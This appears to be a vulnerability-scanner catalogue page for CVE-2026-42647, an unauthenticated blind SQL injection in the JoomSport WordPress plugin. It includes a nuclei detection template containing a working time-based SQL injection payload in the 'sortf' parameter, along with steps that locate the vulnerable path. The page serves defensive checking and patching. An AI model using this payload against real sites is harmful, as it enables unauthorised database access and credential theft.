HexBrain

Browse / CVEs / CVE-2026-42647

CVE-2026-42647· beardev / joomsport-sports-league-results-management· CWE-89

JoomSport <= 5.7.7 - SQL Injection

criticalseverity
9.3CVSS score
1.3%likelihood of exploitation, next 30 days
71%of all CVEs are less likely
Readycheck to confirm it

The JoomSport WordPress plugin through 5.7.7 is vulnerable to unauthenticated time-based blind SQL injection via the 'sortf' GET parameter in the player list view. The parameter value is backtick-wrapped and directly concatenated into an ORDER BY clause.

Impact

Unauthenticated attackers can extract any data from the WordPress database including admin credentials, user emails, and plugin-stored secrets via time-based blind SQL injection.

Fix

Update to JoomSport version 5.7.8 or later, which implements column whitelist validation.

How to confirm it

Send: GET {{BaseURL}}/wp-sitemap-posts-joomsport_season-1.xml
Positive when: status_code == 200 and contains(body, "<loc>")
Send: GET {{season_path}}?action=playerlist&sortf=post_title&sortd=ASC
Positive when: status_code == 200 and contains_all(body, "Name", "Match played", "Played minutes")
Send: @timeout: 20s
Positive when: duration >= 6 and status_code == 200 and contains_all(body, "Name", "Match played", "Played minutes")

Run it with nuclei: nuclei -id CVE-2026-42647 -u <target>

The full check
id: CVE-2026-42647

info:
  name: JoomSport <= 5.7.7 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The JoomSport WordPress plugin through 5.7.7 is vulnerable to unauthenticated time-based blind SQL injection via the 'sortf' GET parameter in the player list view. The parameter value is backtick-wrapped and directly concatenated into an ORDER BY clause.
  impact: |
    Unauthenticated attackers can extract any data from the WordPress database including admin credentials, user emails, and plugin-stored secrets via time-based blind SQL injection.
  remediation: |
    Update to JoomSport version 5.7.8 or later, which implements column whitelist validation.
  reference:
    - https://patchstack.com/database/wordpress/plugin/joomsport-sports-league-results-management/vulnerability/wordpress-joomsport-plugin-5-7-7-sql-injection-vulnerability
    - https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.5/sportleague/base/wordpress/classes/class-jsport-getplayers.php#L153
    - https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.5/sportleague/classes/objects/class-jsport-playerlist.php#L80
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42647
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2026-42647
    epss-score: 0.01323
    epss-percentile: 0.71151
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 3
    vendor: beardev
    product: joomsport-sports-league-results-management
    framework: wordpress
  tags: cve,cve2026,wp,wordpress,wp-plugin,joomsport,sqli,vkev

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-sitemap-posts-joomsport_season-1.xml"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<loc>")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: season_path
        part: body
        group: 1
        regex:
          - '<loc>[^<]*?//[^/]+(\/[^<]+)</loc>'
        internal: true

  - raw:
      - |
        GET {{season_path}}?action=playerlist&sortf=post_title&sortd=ASC HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Name", "Match played", "Played minutes")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET {{season_path}}?action=playerlist&sortf=post_title%60,(SELECT/**/x/**/FROM/**/(SELECT/**/SLEEP(6)/**/AS/**/x)/**/AS/**/t)%23&sortd=ASC HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'status_code == 200'
          - 'contains_all(body, "Name", "Match played", "Played minutes")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from